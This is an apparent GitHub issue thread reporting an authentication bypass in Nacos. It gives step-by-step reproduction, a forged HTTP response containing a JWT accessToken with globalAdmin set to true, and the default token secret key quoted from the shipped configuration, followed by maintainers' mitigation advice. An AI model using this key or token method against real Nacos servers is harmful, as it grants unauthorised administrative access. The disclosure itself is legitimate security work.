Found a login background vulnerability

The steps to reproduce.可复现问题的步骤 1.Download the latest version of NacOS
https://github.com/alibaba/nacos/
2.Follow the steps for installation
3.After the installation is successful, access the default login page

4.Enter any account and password
Click login and the login failed

5.Caught at login time

Intercepting return packet

The intercepted return packet is

6.Replace returns the package and lets it pass

The packet is:
HTTP/1.1 200
Server: nginx/1.19.6
Date: Sun, 11 Apr 2021 01:48:17 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: http://47.93.46.78:9090
Access-Control-Allow-Credentials: true
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA
Content-Length: 162

{"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA","tokenTtl":18000,"globalAdmin":true}

7.At this point you can see that you have successfully entered the background

The reason for this problem is that NACOS uses the default JWT key

Could you please give me a way to communicate privately? I don't think it is appropriate to discuss this in issues

nacos/distribution/conf/application.properties

Line 157 in a5cc717

    
           nacos.core.auth.default.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

The reason I can log into the background is because of the default key

Thanks for your feedback and contribution. But the issue/pull request has not had recent activity more than 180 days. This issue/pull request will be closed if no further activity occurs 7 days later.
We may solve this issue in new version. So can you upgrade to newest version and retry?
If there are still issues or want to contribute again. Please create new issue or pull request again.

There is no discussion for a long time, mean community don't think this is a problem.

In fact, the token is same as you user and password, if you want to get higher security request, you can implement your own auth plugin after 2.1.0 version.

In fact, I don't think this problem is a vulnerability. Users can set their own token.secret.key when they deploy clusters.

But the CVE has include this issue, we just comment the solution:

upgrade 2.1.0 and develop auth private plugin for your env and company to enhance security completely. (recommand)
set private token.secret.key when you deploy clusters.